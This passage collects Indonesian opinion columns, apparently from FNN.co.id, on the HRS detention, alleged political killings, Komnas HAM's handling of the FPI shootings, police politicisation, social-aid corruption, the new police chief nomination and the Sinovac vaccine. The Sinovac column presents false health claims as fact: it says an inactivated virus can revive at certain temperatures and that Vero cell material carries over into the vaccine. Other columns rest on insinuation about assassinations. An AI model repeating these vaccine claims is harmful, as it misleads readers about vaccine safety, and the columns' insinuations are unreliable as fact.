2.600 triliun. Sekarang total hutang pemerintah menjadi Rp 6.000 triliun. HRS yang sebelum ditahan tidak memiliki keluhan serius, namun selama ditahan nampak mulai sakit-sakitan. Kejutan saat terjadi sesak nafas berat yang berimplikasi pada perlunya dampingan tabung oksigen. Kini perdebatan terjadi antara perlu tidaknya HRS dirawat di Rumah Sakit. Meskipun semua nampak berjalan normal-normal, namun bisa saja ada pihak-pihak tertentu yang menghendaki bukan saja FPI beserta rekeningnya yang habis, tetapi juga HRS harus habis. Tidak kurang dari 70-an rekening bank yang terkait dengan HRS dan FPI kini dibekukan oleh Pusat Pelaporan dan Analisis Transaksi Keuangan (PPATK). Pembunuhan politik kerap terjadi, meski pada umumnya tak terungkap tuntas. Jaksa Agung pertama Gatot Taruna Mihardja di masa pemerintahan Soekarno dikenal tegas dalam membongkar kasus korupsi. Gatot ditahan dan mengalami percobaan pembunuhan dengan penabrakan mobil. Pada masa pemerintahan Soeharto, Jaksa Agung Kabinet Pembangunan V Sukarton Marmo Sudjono juga gencar dalam membongkar kasus-kasus korupsi. Program penayangan wajah koruptor di TVRI tiba-tiba terhenti dengan meninggal mendadaknya Sukarton Marmo Sudjono secara misterius. Di masa pemerintahan Gus Dur, meninggal yang mencurigakan di Riyadh Arab Saudi, mantan Menteri Kehakiman dan Jaksa Agung yang dikenal jujur, bersih dan tegas dalam memberantas korupsi Baharudin Lopa. Kita teringat dengan Hakim Agung Syafiudin Kartasasmita yang mengadili kasusu korupsi, tewas ditembak 4 orang tak dikenal pada tahun 2001. Urusan korupsi selalu bersahabat dengan kekuasaan. Harun Masiku kader PDIP yang tersangkut kasus suap Komisioner Komisi Pemilihan Umum (KPU) Wahyu Setiawan, hilang secara misterius sampai sekarang. Mulai muncul informasi liar hahwa Harun Masiku telah meninggal. Dugaan dalam rangka penghilangan jejak-jejak yang terkait dengan fihak-fihak yang terlibat. Bila benar, maka inipun menjadi bagian dari apa yang disebut pembunuhan politik. Tidak mudah untuk membongkar pembunuhan bermotif politik. Karena biasanya hal yang demikian menjadi kegiatan atau bagian dari operasi intelijen, baik resmi ataupun tidak. Pembunuhan adalah puncak dari teror dan tekanan. Sebab pembunuhan politik terkadang menjadi pilihan paling aman para penguasa untuk mengamankan kekuasaannya. Nisan aktivis pejuang hak sipil Amerika Martin Luther King yang juga menjadi korban pembunuhan politik, bertuliskan "Free at last, free at last. Thank God Almighty, I'am free at last". Luther pun terbebas dari intaian FBI dan tekanan berat politik kekuasaan. Politik kekuasaan kriminal. Penulis adalah Pemerhati Politik dan Kebangsaan.

Pak Taufan Damanik, Komnas HAM Itu Bukan Organisasi Selebriti

by Asyari Usman Medan FNN - Komisi Nasional Hak Asasi Manusia (Komnas HAM) adalah lembaga yang pasti akan berhadapan dengan para penjahat kelas berat. Sangat mungkin akan berhadapan dengan para pemilik laras panjang otomatis yang bisa membunuh belasan orang dalam hitungan menit. Komnas akan berhadapan dengan berbagai institusi negara dan kelompok atau kartel yang memiliki senjata api, baik legal maupun ilegal. Komnas HAM tidak mungkin berhadapan dengan orang-orang lemah. Tidak mungkin juga akan berhadapan dengan preman kampung, maling ayam, maling singkong, atau orang-orang lemah lainnya yang melakukan kejahatan recehan. Komnas tidak akan mengusut kasus perampokan, pencurian, pembegalan, dlsb, yang menyebabkan korban jiwa. Tidak juga kasus tabrakan maut. Termasuk tidak akan mengurus tabrakan beruntun yang, katakanlah, menewaskan puluhan orang. Komnas bukan dihadirkan untuk menyelidiki kematian akibat tanah longsor, gempa bumi, banjir, letusan gunung berapi, kecelakaan pesawat, kecalakaan kapal, dsb. Komnas HAM dibentuk untuk mengusut kasus-kasus pembunuhan yang dilakukan oleh aparat negara, kelompok pemberontak, atau kartel narkoba yang memiliki kekuasaan dan kekuatan besar. Yang bisa melakukan apa saja. Yang memiliki perangkat lengkap untuk merekayasa kejadian. Yang memiliki sistem, peralatan, dan kapabilitas serta kapasitas untuk mengadakan atau tidak mengadakan sesuatu. Komnas HAM dibentuk terutama untuk mengusut pembunuhan yang dilakukan oleh aparat bidang Hankam. Tepatnya, tindak kekerasan atau pembunuhan yang dilakukan oleh institusi negara, termasuk Polri, TNI, atau lembaga-lembaga intelijen. Jadi, bisa dibayangkan medan yang dihadapi oleh para komisioner Komnas. Banyak intimidasi, tekanan, ancaman fisik dan ancaman nyawa. Artinya apa? Artinya, para komisioner lembaga penegak hak asasi ini harus siap menghadapi semua kemungkinan. Termasuk kemungkinan dilenyapkan. Jadi, seharusnya sejak awal para komisioner sudah paham tugas mereka dan risiko yang melekat pada tugas itu. Anda bukan dipilih untuk menuliskan laporan pelanggaran sesuai dengan keinginan pemegang kekuasaan. Kemudian Anda persembahkan laporan yang “aman dan nyaman” itu kepada presiden. Anda punya alasan untuk bertemu presiden. Berita pertemuan itu masuk telvisi dan dimuat di banyak media lainnya. Setelah itu, Anda merasa senang foto Anda bersama presiden dimuat di mana-mana. Kalau itu yang Anda bayangkan ketika melamar menjadi komisioner Komnas HAM, Anda bukan orang yang tepat untuk duduk di situ. Anda hanya menyia-nyiakan uang rakyat. Jadi, wahai Pak Taufan Damanik (ketua Komnas HAM) dan para komisioner lainnya, Komnas itu bukan organisasi selebriti yang mengutamakan agenda pertemuan dengan presiden. Supaya beritanya viral. Kalau itu tujuan Anda, lebih baik Anda bergabung ke paguyuban artis sinetron saja. Kalau Anda takut diintimidasi, jangan masuk Komnas HAM. Serahkan saja kepada orang lain yang siap menghadapi semua risiko. Mau sesadis apapun, apalagi pembunuhan 6 warga negara itu baru akan Anda sebut “pelanggaran HAM berat”? Penulis adalah Wartawan Senior FNN.co.id.

Seberapa Penting Posisi “Ketua Umum” Polri

PRESIDEN Joko Widodo (Jokowi) secara resmi mengajukan Komisaris Jenderal (Komjen) Listyo Sigit Prabowo, Kabareskrim, sebagai calon Kapolri ke DPR. Pengajuan calon tunggal ini mengisyaratkan Jokowi tidak ingin orang lain. Kecuali DPR menolak. Kelihatannya, kecil kemungkinan ditolak. Seperti biasa, setiap kali ada pergantian Kapolri, semua mata tertuju ke situ. Menjadi kepala berita di mana-mana. Banyak orang berkomentar. Semua media besar menurunkan laporan analisis tentang siapa yang pantas dan tak pantas menjadi pimpinan kepolisian. Macam-macam komentar publik. Kalau Komjen X atau Komjen Y yang duduk sebagai Kapolri, maka situasi Indonesia akan menjadi baik atau makin buruk. Jokowi pun diperingatkan tentang figur yang cocok untuk duduk sebagai orang nomor satu di kepolisian itu. Belakangan ini, Kapolri menjadi orang yang sangat penting setelah presiden. Teramat penting dalam konstelasi kekuasaan di Indonesia ini. Sangat krusial dalam perpolitikan di negeri ini. Terasa polisi ada di semua lini kehidupan. Sekarang ini, semua hal diurus oleh polisi. Apalagi menyangkut pemberangusan oposisi. Polisi sangat cepat hadir. Surat panggilan akan meluncur dalam hitungan jam. Polisi juga cepat tanggap ketika ada yang memerlukan penghapusan “red notice” Interpol. Juga kalau ada yang perlu surat jalan domestik plus pendampingan tingkat bintang. Bisa diatur. Misi pengayoman Polri memang luar biasa. Kalau Anda mau dikawal jogging, silakan telefon Pak Polisi. Mobil Patwal (Patroli Pengawal) siap 24 jam. Bagaimana dengan urusan Politik? Nah, malah ini yang sangat “lucrative” alias subur selama enam tahun belakangan. Tepatnya, sejak Jokowi menjadi presiden 2014 dan terpilih kembali pada 2019. Misi pengayoman polisi diperluas dengan tugas tambahan. Yaitu, mengamankan pencapresan Jokowi. Terbukti aman. Dan itu tidak mengherankan. Karena Polri memiliki jaringan kekuasaan yang menjangkau sampai ke lorong-lorong kampung, ke dusun-dusun di gunung. Di seluruh Indonesia. Sehingga, setiap TPS pasti “aman” di tangan polisi. Suara rakyat juga “diamankan” polisi. Begitu amannya, sampai-sampai Jokowi memberikan hadiah Kementerian Dalam Negeri (Kemendagri) kepada Tito Karnavian. Dia sukses mengamankan pencapresan si Bapak sampai terpilih lagi menjadi presiden. Termasuk mengamankan orang-orang yang memprotes hasil pilpres. Mahasiswa padam dibuat Tito. Anak-anak muda yang mencoba lempar batu, akhirnya benjol-benjol bercucuran darah. Bahkan, ada yang diamankan permanen. Begitulah dahsyatnya polisi. Kekuasaan mereka sangat besar. Polisi boleh dikatakan bisa melakukan apa saja yang mereka inginkan. Polisi bisa menjinakkan orang-orang yang vokal. Polisi juga memiliki kesaktian yang luar biasa. Yang tak ada, bisa menjadi ada. Yang ada, bisa menjadi tak ada. Buku Merah bisa berubah menjadi Buku Putih, orang melek bisa menjadi buta. Air lembut bisa menjadi air keras. Begitulah hebatnya Polri. Tidak heran, sebenarnya. Di sana banyak doktor alias S3. Bahkan, Polri di masa Tito dipimpin oleh seorang profesor. Satu-satunya Kepolisian di muka Bumi yang dikepalai oleh seorang gurubesar. Profesor Doktor Jenderal Tito Karnavian. Bayangkan! Beliau memang ‘guru’ yang berjasa besar. Tito berhasil menggurui Polri tentang penegakan hukum yang mensejahterakan seluruh rakyat, khususnya rakyat Trunojoyo. Tito pula yang berhasil mengembangkan Polri menjadi “partai politik” di Indonesia. Kok dikatakan partai politik? Apakah benar Polri berpolitik? Kalau Anda ragu, mari kita balik pertanyaan ini: apakah Polri tidak ikut berpolitik di era Jokowi ini? Apakah Polisi tidak ikut dalam misi memenangkan Jokowi di pilpres 2019? Apakah Anda lupa kegundahan AKP Sulman Aziz, mantan Kapolsek Pasir Wangi di Garut, yang mengatakan atasannya mengeluarkan perintah penggalangan dukungan untuk Jokowi? Jadi, sudah jelas sepak-terjang politik Polri. Rekam jejaknya ada di mana-mana. Tak salah organisasi kepolisian disebut sebagai Partai Polri. Terasa lebih pas, lebih relevan. Partai Polri tidak hanya eksis melainkan juga ada pada posisi sebagai partai politik terkuat di Indonesia. Lihat saja, parpol mana yang memiliki struktur yang rapi, terkomando, dan sistematis hingga ke tingkat kecamatan? Parpol mana yang setiap tahun mendapat dana negara 100 triliun? Tentu tidak ada. Dalam konteks sebagai “parpol” terkuat itulah, maka pemilihan “ketua umum” Polri di era Jokowi ini selalu menarik perhatian. Sebab, posisi “ketum” polisi sangat strategis. Karena “ketua umum” bisa mengeluarkan komando yang pasti akan terlaksana sampai ke pelosok-pelosok, serentak dan seragam. Karena itu, figur “ketua umum” Polri akan selalu diselaraskan dengan kepentingan “Ketua Dewan Pembina”-nya yang saat ini dijabat oleh Presiden Jokowi. Termasuk kepentingan pilpres atau pilkada. Nah, bagaimana nanti kalau Listyo Sigit Prabowo disahkan menjadi “ketua umum” Polri? Apakah Polri tetap menjadi parpol? Seratus persen tidak akan berubah Partai Polri.**

Kejar Terus Korupsi Bansos

DALAM pertemuan dengan Menteri Sosial Tri Rismaharani awal pekan ini, KPK membeberkan fakta yang sangat mengejutkan publik. Menurut hasil kajian KPK, dari 97 juta orang yang terdaftar dalam Data Terpadu Kesejahteraan Sosial (DTKS), ditemukan sebanyak 16,7 juta orang (17,21 persen) yang tidak memiliki NIK (Nomor Induk Kependudukan). Selama ini NIK adalah atribut utama untuk memfilter kualitas data DTKS. Pusat data milik Kemensos itu terus diverifikasi dan divalidasi setiap dua tahun. Setiap rakyat di pelosok daerah yang mau mengklaim penyaluran bansos kepada pengurus RT/RW-nya juga dianjurkan lebih dulu melakukan pengecekan data di situs https://dtks.kemensos.go.id/ dengan syarat wajib memasukan NIK-nya. Bagi mereka yang tidak punya NIK, jangan harap muncul sebagai penerima bansos dari pemerintah pusat. Jadi memang aneh jika ada orang tanpa NIK bisa masuk dalam DTKS. Lebih-lebih lagi DTKS bukan disusun berdasarkan survei acak yang memungkinkan adanya batasan kesalahan (margin error) sekitar 1 hingga 5 persen. DTKS adalah pusat data orang/keluarga tidak mampu seluruh Indonesia yang disusun berdasarkan data kependudukan di Direktorat Jenderal Kependudukan dan Catatan Sipil Kementerian Dalam Negeri (Ditjen Dukcapil Kemendagri) dan pemerintahan daerah. Kalau melihat tingkat keberhasilan Kemendagri dalam melakukan perekaman e-KTP hingga mencapai 99 persen warga negara wajib ber-KTP hingga tahun 2020, maka terjadinya kesalahan input yang mencapai 17,21 persen dalam DTKS, jelas sebuah kesalahan statistik yang tidak dapat ditoleransi. KPK telah mendesak Mensos untuk menghapus data penerima bantuan sosial fiktif tersebut. Mensos berjanji akan segera memperbaikinya untuk menyempurnakan penyaluran bansos Covid-19 di tahun 2021 ini. Akan tetapi, apakah persoalan ini kita anggap sudah selesai? Masalahnya bagaimana pertanggungjawaban pemerintah atas semua anggaran perlindungan sosial yang telah digelontorkan secara besar-besaran oleh pemerintah sepanjang tahun 2020 itu? Menurut data Kemenkeu per November 2020, pemerintah telah menetapkan pagu perlindungan sosial sebesar Rp 234,33 triliun. Anggaran ini merupakan porsi terbesar dari total anggaran program Pemulihan Ekonomi Nasional (PEN) dalam rangka penanganan bencana nasional Covid-19 yang totalnya Rp 695,2 triliun. Persoalannya sekarang, apakah berarti sebanyak 17,21 persen (lebih Rp 40 triliun) anggaran perlindungan sosial itu telah diserahkan kepada penerima fiktif alias tidak nyata? KPK harus mengejar hasil temuan awal ini. Kasus ini tidak akan selesai dengan hanya mendesak Mensos menghapus data penerima bansos fiktif dari DTKS. Karena ada indikasi kuat telah terjadi tindak pidana korupsi secara terstruktur, sistematis dan masif (TSM) seiring rampungnya penyaluran perlindungan sosial tahun anggaran 2020. Sedangkan pemerintah bulan ini mulai mengeksekusi program Bantuan Sosial Tunai (BST) untuk 10 juta Keluarga Penerima Manfaat (KPM) masing-masing sebesar Rp 300.000 setiap bulan untuk empat bulan. Nah jangan sampai kita kebobolan lagi. Indikasi terjadinya korupsi “TSM” dalam penyaluran bansos tahun 2020 ini sudah ada petunjuk kuat dengan ditangkapnya Mensos Juliari Batubara oleh KPK di awal Desember 2020. Sejauh ini memang hanya ditetapkan sebagai tersangka oleh KPK karena menerima gratifikasi sebesar Rp 17 miliar dari perusahaan swasta yang menjadi vendor pengadaan sembako dalam paket bansos Covid-19. Apa yang telah diungkapkan KPK kepada publik sejauh ini menurut beberapa sumber masih sebagian kecil dari nilai total korupsi yang sesungguhnya dalam penyaluran bansos Covid-19 tahun lalu. Faktanya, jumlah kontrak vendor bansos Covid-19 tersebut ternyata bukan satu kontrak, melainkan mencapai 272 kontrak. Sementara para tersangka yang ditangkapi KPK sekarang ini baru berasal dari 1 kontrak. Seorang pengusaha yang pernah menawarkan diri menjadi vendor packaging bansos mengaku langsung mundur begitu diminta uang cashback sebesar Rp 30 miiar untuk paket 1 juta bansos. Padahal dia cuma menawarkan diri sebagai pihak yang berperan mengemas sembako dari vendor lain ke tas bansos bertanda Banpres warna merah putih itu. Artinya, penyaluran bansos Covid-19 ini sejak awal memang sudah sarat dengan modus-modus korupsi di berbagai lini. Berangkat dari kasus yang sudah di-OTT KPK ini, maka wajar saja rakyat juga menduga telah terjadi korupsi dengan modus mark-up data penerima bansos. Ini adalah tugas KPK untuk mengurai data dan mengejar ke mana saja larinya dana bansos itu dari hilir ke hulu. Kita berharap KPK menuntaskan kasus korupsi bansos ini secara terang benderang. Faktanya korupsi ini terjadi di tengah kesusahan rakyat yang didera pandemik Covid-19 yang berkepanjangan dan belum jelas kapan akan berakhir. Undang-undang Pemberantasan Tindak Pidana Korupsi telah mencantumkan pasal-pasal yang memungkinan KPK penerapan tuntutan pidana hukuman mati bagi oknum-oknum yang melakukan tindak pidana korupsi di tengah negara dalam situasi bencana. Ini momentum terbaik KPK untuk membuat jera para calon koruptor. KPK harus berani, tegas, dan jangan mau dibohongi seorang anak kecil yang pernah bilang kalau mau korupsi carilah di proyek yang gede, yaitu di PLN, Pertamina dan jalan tol, bukan di proyek bansos. Ini jelas penyesatan publik. Karena proyek bansos ini menyangkut proyek sangat besar yang menelan anggaran sebesar Rp 234 triliun yang sebagian dibiayai dari hutang. **

Ujian Kapolri Baru, Koreksi Narasi Komnas HAM yang “Identik” dengan Polri

by Mochamad Toha Surabaya FNN - BISA dipastikan, Komisaris Jenderal Polisi Listyo Sigit Prabowo yang kini menjabat sebagai Kabareskrim Mabes Polri yang namanya diajukan Presiden Joko Widodo ke Komisi lll DPR, Rabu (13/1/2021) ini untuk diproses mengikuti fit and propper test. Dari 5 calon Kapolri pengganti Jenderal Polisi Idham Azis yang akan pensiun 30 Januari ini yang diserahkan oleh Komisi Kepolisian Nasional (Kompolnas), Presiden Jokowi akhirnya menunjuk Komjen Listyo untuk mengikuti uji kelayakan di Komisi III DPR. Penunjukan Komjen Listyo sebagai Kapolri, memang sudah diprediksi sebelumnya, karena kedekatan (chemistry) antara Listyo pribadi dengan Presiden Jokowi. Pria kelahiran Ambon, Maluku, 5 Mei 1969, itu adalah pati lulusan Akademi Kepolisian (Akpol) angkatan 1991. Selama ini, Listyo Sigit dikenal dekat dengan Presiden Jokowi. Kedekatan itu diperkuat saat ia bertugas sebagai ajudan Presiden pada 2014-2016. Kedekatan Listyo Sigit dan Jokowi terbangun dalam peristiwa yang mengguncang Solo pada September 2011, yakni bom bunuh diri di halaman Gereja Bethel Injil Sepenuh, Kepunton. Bom itu meledak hanya berselang lima bulan setelah ia dilantik menjadi Kapolres Solo. Peristiwa bom itu cukup memukul karena tiga hari kemudian, Solo mesti menjadi tuan rumah Asian Parliamentary Assembly atau Majelis Parlemen Asia. Pada saat yang sama, Walikota Jokowi sedang gencar mempromosikan Solo sebagai destinasi wisata. Sigit lalu meyakinkan bahwa Solo aman. Dia bergerak mengamankan acara internasional itu dengan memulihkan kepercayaan wisatawan, dan juga pendatang. Listyo Sigit resmi dilantik menjadi Kepala Bareskrim Polri pada Senin, 16 Desember 2019. Dia mengisi kursi lowong setelah pejabat sebelumnya, Idham Azis dilantik menjadi Kapolri. Sebagai pejabat Bareskrim baru, jenderal bintang tiga itu mematok target kerja. Utamanya mengevaluasi reserse dan meningkatkan pelayanan terhadap masyarakat. Selama berkarier, Listyo Sigit pernah beberapa kali menduduki jabatan strategis di Polri. Lulusan S2 Universitas Indonesia dengan tesis penanganan konflik etnis di Kalijodo Jakarta itu pernah menjabat Kapolres Pati (2009) dan tahun selanjutnya menjadi Kepala Kepolisian Resor Sukoharjo (2010). Setelah itu, dia menduduki posisi Wakapoltabes Semarang, dan pernah menjadi Kapolres Solo. Pada 2012, Jokowi yang diusung oleh PDIP maju sebagai Gubernur DKI Jakarta dan menang dalam Pilkada tersebut, Listyo Sigit juga ikut pindah ke Ibu Kota Negara di Jakarta dengan menjabat Kasubdit II Dittipidum Bareskrim Polri. Pada 2013, Listyo Sigit dipercaya menjadi Direktur Reserse Kriminal Umum Polda Sulawesi Tenggara (2013), namun pada 2014 setelah Jokowi menjadi Presiden, ia kembali ke Jakarta untuk mengemban tugas menjadi ajudannya pada 20 Oktober 2014 hingga 5 Oktober 2016. Selanjutnya ia mendapat promosi jabatan sebagai Kapolda Banten dan menyandang pangkat Brigjen. Listyo Sigit memimpin Polda Banten selama 2 tahun, yakni 5 Oktober 2016 hingga 13 Agustus 2018. Selepas menjabat Kapolda Banten, ia menjadi salah satu anggota polisi yang mendapatkan promosi jabatan di lingkungan Mabes Polri, menjadi Kadiv Propam menggantikan Irjen Martuani Sormin, yang ditugaskan sebagai Kapolda Papua. Setelah kosong selama 35 hari sejak ditinggalkan Idham Azis, melalui Surat Telegram Kapolri Nomor: ST/3229/XII/KEP/2019 pada 6 Desember 2019, diterangkan Kadiv Propam Polri Irjen Polisi Listyo Sigit Prabowo menjadi Kabareskrim Polri. Selama menjabat Kabareskrim Polri banyak kasus besar yang berhasil dibongkar bersama anak buahnya. Kasus yang menonjol adalah penangkapan buronan kasus korupsi pengalihan hak tagih atau cessie Bank Bali, Joko Soegiarto Tjandra alias Djoko Tjandra di Malaysia. Penangkapan Djoko Tjandra dipimpin langsung oleh Komjen Listyo sekaligus membuka tabir sejumlah pihak yang terlibat. Dari lima tersangka, 2 di antaranya anggota polisi yakni Brigen Pol Prasedjo Utomo dan Irjen Pol Napoleon Bonarparte. Kasus menonjol lainnya adalah kebakaran Gedung Kejaksaan Agung (Kejagung). Penyidik Bareskrim telah menetapkan 8 orang sebagai tersangka. Mereka adalah tukang di Kejaksaan Agung berinisial, T, H, S, dan K. Pekerja lain yang mengerjakan wallpaper berinisial IS, mandor berinisial UAM, vendor maupun PT ARM inisial R dan PPK inisial NH. Kasus besar lainnya yang dibongkar jajaran Bareskrim adalah mengungkap narkoba jenis sabu sebanyak 1,2 ton, 35.000 butir pil ekstasi dan 410 Kg ganja selama kurun waktu Mei-Juni 2020. Barang bukti tersebut disita dari jaringan Iran-Timur Tengah yang ditangkap di dua lokasi berbeda, yakni Serang, Banten, dan Sukabumi, Jawa Barat. Dari hasil penangkapan itu, Tim Satgas Merah Putih berhasil mengamankan 7 orang tersangka. Kasus lain yang menjadi perhatian publik adalah membantu menangkap Maria Pauline Lumowa, tersangka pembobolan BNI 46 senilai Rp1,7 triliun. Penangkapan ini dipimpin langsung oleh Menteri Hukum dan HAM, Yasonna Laoly. Dalam beberapa kesempatan Komjen Listyo menegaskan bahwa penuntasan berbagai kasus merupakan bentuk komitmen, transparansi di tubuh Polri. Terutama kasus Djoko Tjandra yang melibatkan 2 anggota polisi berpangkat Brigadir Jenderal. “Bareskrim Polri terus melakukan pembenahan internal untuk lebih profesional dan produktif dalam penanganan penegakan hukum di Indonesia,” ungkap Komjen Listyo. Tugas Berat Sebagai pejabat yang ikut menangani kasus penembakan 6 pengawal Habib Rizieq Shihab yang kini sedang berproses, Listyo Sigit bakal diuji dengan tugas berat. Yakni, membangun kembali trust rakyat kepada institusi Polri yang selama ini mulai pudar. Simpang-siur narasi pejabat Polri seperti Kapolda Metro Jaya Irjen Polisi Fadil Imran terkait kasus penembakan 6 laskar FPI di KM 50 hingga KM 51 Tol Jakarta-Cikampek pada Minggu malam, 6 Desember 2020, hingga Senin dini hari, 7 Desember 2020, harus dibuka kembali. Hasil akhir investigasi Komnas HAM memang nyaris sama narasinya dengan tim Bareskrim Polri: “Insiden bentrok antara polisi dengan anggota FPI hingga terjadi tembak-menembak!” Sepertinya Komnas HAM lebih percaya pada versi Polisi ketimbang FPI. Hasil penyelidikan Komnas HAM terkait “insiden bentrok” antara polisi dengan anggota FPI menyatakan telah terjadi pelanggaran oleh pihak kepolisian. Hal ini terkait penembakan oleh polisi terhadap empat anggota FPI. Komnas HAM menyebut kasus ini sebagai “Peristiwa Kerawang”. Terkait peristiwa KM 50, terdapat 4 orang masih hidup dalam penguasaan resmi petugas negara yang kemudian ditemukan tewas, maka peristiwa tersebut bentuk peristiwa pelanggaran HAM. Begitu kata Komisioner Komnas HAM Choirul Anam dalam konferensi pers di kantornya, Jakarta Pusat, Jumat (8/1/2021). “Penembakan sekaligus 4 orang dalam satu waktu tanpa ada upaya lain untuk menghindari jatuh korban jiwa mengindikasikan ada tindakan unlawful killing terhadap laskar FPI,” ujar Choirul Anam. Komnas HAM merekomendasikan peristiwa tewasnya 4 laskar FPI dilanjutkan ke penegakan hukum dengan mekanisme pengadilan pidana. Komnas HAM juga merekom pengusutan itu lebih lanjut dugaan kepemilikan senjata api yang diduga digunakan pihak FPI. Sejak peristiwa terjadi, Komnas HAM melakukan peninjauan langsung ke lokasi peristiwa, Kerawang, pada 8 Desember 2020. Komnas HAM bekerja sesuai mandat Komnas HAM Pasal 89 UU Nomor 39 Tahun 1999 tentang HAM sejak Senin, 7 Desember 2020. Dalam peninjauan itu, pihaknya menemukan beberapa benda yang diduga sebagai bagian peristiwa tersebut. Beberapa diantaranya tujuh buah proyektil, tiga buah slongsong, bagian peluru, pecahan mobil, dan benda lain dari bagian mobil seperti baut. Komnas HAM juga meminta keterangan terhadap sejumlah pihak, antara lain kepolisian, siber, inafis, dan petugas kepolisian yang bertugas, hingga pengurus FPI. Komnas HAM juga mendalami bukti-bukti 9.942 video dan 137 ribu foto yang berkaitan dengan insiden tersebut. Bukti itu dijadikan tahap finalisasi laporan akhir Tim Penyelidik Komnas HAM sebelum mengumumkan hasil rekomendasi akhir. Selain itu, Komnas HAM juga melakukan pengecekan terhadap barang bukti, termasuk mobil yang dipakai saat bentrok polisi-FPI itu terjadi. Komnas HAM juga melakukan rekonstruksi insiden bentrok ini di kantor mereka secara tertutup dengan menghadirkan anggota Polri. Namun, nyatanya sebagian kalangan masyarakat tidak percaya dengan narasi Komnas HAM yang nyaris sama dengan Polisi. Kapolri Baru harus berani menyidik ulang! Penulis adalah Wartawan Senior FNN.co.id

Izinkan Emergency Sinovac, BPOM Tunduk Kekuasaan?

by Mochammad Toha Surabaya, FNN - ATAS nama darurat, Badan Pengawasan Obat dan Makanan (BPOM) mengizinkan penggunaan vaksin Covid-19 Sinovac buatan China disuntikkan kepada masyarakst. Izin penggunaan darurat atau Emergency Use Authorization (EUA) itu diberikan karena sudah memenuhi persyaratane sesuaiketentuan Organisasi Kesehatan Dunia atau World Healt Organization (WHO). Izin penggunaan darurat itu diumumkan Kepala BPOM Penny Lukito Penny dalam konferensi pers daring, Senin,11 Januari 2021. Pemberian persetujuan penggunaan vaksin adalah yang diproduksi PT Bio Farma. Penny memastikan, pengambilan keputusan didasarkan pada rekomendasi dan sudah dirumuskan dalam rapat pleno anggota Komite Nasional Penilaian Obat, dan para ahli di bidangnya, 10 Januari 2021. Hasil pemantauan keamanan dan khasiat selama 6 bulan untuk uji klinis fase 1 dan 2, dan 3 bulan pada uji klinis fase 3, secara keseluruhan menunjukkan efek samping yang ditimbulkan bersifat ringan sehingga aman digunakan. Tekanan Presiden Joko Widodo dan Menkes Budi Gunadi Sadikin yang mengatakan penyuntikan Vaksin Covid-19 dilakukan serentak di 34 provinsi pada Rabu, 13 Januari 2021, diperkirakan membuat BPOM akhirnya juga mempercepat pengumuman itu. Vaksinasi diawali oleh Joko Widodo bersama sederet nama lainnya, di Istana Kepresidenan, Rabu kemarin. Sebagai menteri kesehatan, seharusnya Budi Gunadi tidak boleh memaksakan percepatan evaluasi atas suatu hasil uji klinis vaksin Sinovac. Evaluasi uji klinis itu tidak bisa disamakan dengan uji laboratorium seperti potensi tambang yang sebelumnya digelutinya. Sebagai Presiden, Jokowi juga tidak boleh menekan menteri kesehatan agar segera memvaksin tenaga kesehatan atau nakes, sebelum BPOM mengizinkan EUA. Sebab, uji klinis pada relawan itu juga tak sama dengan uji laboratorium hasil hutan yang bisa dihitung waktunya. Jadi, seharusnya Menkes tidak bisa memutuskan vaksinasi dimulai Rabu, 13 Januari 2021, padahal BPOM baru akan mengumumkan pada 15 Januari 2021. Akan tetapi, akhirnya BPOM harus mengumumkan pada Senin, 11 Januari 2021, sesuai “arahan” Presiden. Yang menjadi pertanyaan, mengapa pemerintah terkesan buru-buru melakukan vaksinasi ini? Padahal, hitungan secara medis dan uji klinis pun belum tuntas? Apalagi, China sendiri tidak memakai Sinovac untuk memvaksin rakyatnya. China malah mengimpor vaksin! Berhasilkah China mengatasi Covid-19 di negerinya sendiri? Ternyata hingga kini tidak berhasil. Faktanya, sejak Selasa (29/12/2020), China telah menutup 10 area di ibukota Beijing karena adanya ledakan kasus baru Cpvid-19 di sana. Penutupan ini kembali dilakukan setelah wabah meledak pada Juni-Juli 2020 lalu. Channel News Asia menyebutkan, kota itu melaporkan 16 infeksi dan 3 kasus asimptomatik sejak 18 Desember 2020. Sebagian besar kasus terjadi di Distrik Shunyi. Beijing juga mendesak penduduk untuk tinggal di rumah selama liburan. Pejabat di distrik utara Yanqing dikabarkan akan terus menyalakan pengeras suara untuk menasihati penduduk agar tidak bepergian ke luar wilayah tersebut. Masih percaya dengan Vaksin Sinovac, meski gagal mengatasi pandemi Covid-19 di China sendiri? Ingat! China itu pernah gagal mengatasi Virus Flu Burung hingga sempat menelan korban begitu banyak. Anehnya kita malah beli vaksin dari China. Lebih aneh lagi, program vaksinasi ini telah menjadi keharusan dan kewajiban bagi rakyat di Indonesia. Padahal, WHO menyatakan tidak setuju jika negara mewajibkan vaksin Covid-19 kepada rakyatnya, apalagi dengan ancaman pidana atau denda. Vero Cell Pihak PT Bio Farma mengatakan, tidak ada bahan berbahaya yang terkandung dalam vaksin Covid-19 Sinovac. Menurut Juru Bicara Vaksinasi Covid-19 Bio Farma Bambang Heriyanto, Sinovac itu tidak mengandung sel vero. Sel vero hanya digunakan sebagai media kultur untuk pengembangan dan bertumbuhnya virus dalam proses perbanyakan virus sebagai bahan baku vaksin. Setelah mendapatkan virus yang cukup, maka akan dipisahkan dari media pertumbuhan. Sel vero ini tidak akan ikut atau terbawa sampai dengan proses pembuatan. Benarkah? Tentunya masih patut dipertanyakan lagi. Adapun vaksin Sinovac yang akan digunakan di Indonesia, disebut hanya mengandung virus yang sudah dimatikan. Karena ini platform-nya inactivated, jadi virusnya sudah dimatikan atau di-inaktivasi. Jadi, Sinovac sama sekali tidak mengandung virus hidup atau yang dilemahkan. Cara tersebut menjadi salah satu cara yang paling umum dalam pembuatan sebuah vaksin. Ini yang bahaya! Virus yang sudah “dimatikan” bisa saja suatu saat pada suhu tertentu hidul lagi. Kandungan lain di dalam vaksin Covid-19 Sinovac itu adalah alumunium hidroksida. Zat ini berfungsi sebagai adjuvan untuk meningkatkan kemampuan vaksin. Kandungan berikutnya adalah larutan fosfat atau sebagai penstabil, atau biasa kita sebut dengan stabilizer. Kandungan terakhir adalah larutan garam natrium klorida sebagai isotonis untuk memberikan kenyamanan penyuntikan. Tapi, garam yang digunakan telah memenuhi standar penggunaan farmasi. Benarkah sel vero itu hanya sebagai media kultur untuk pengembangan dan bertumbuhnya virus dalam perbanyakan virus sebagai bahan baku vaksin? Jawab dr. Tifauzia Tyassuma: “Betul! Tapi kalau (dibilang) tidak terbawa, itu bohong!” Analoginya seperti tanam pohon mangga. “Betul kita cuma ambil buah mangganya dan tidak makan tanahnya. Tapi buah mangga itu bisa besar dari mana? Dari unsur saripati yang ada di tanah itu,” ungkapnya kepada FNN.co.id. Artinya, buah mangga mengandung saripati tanah itu tentu 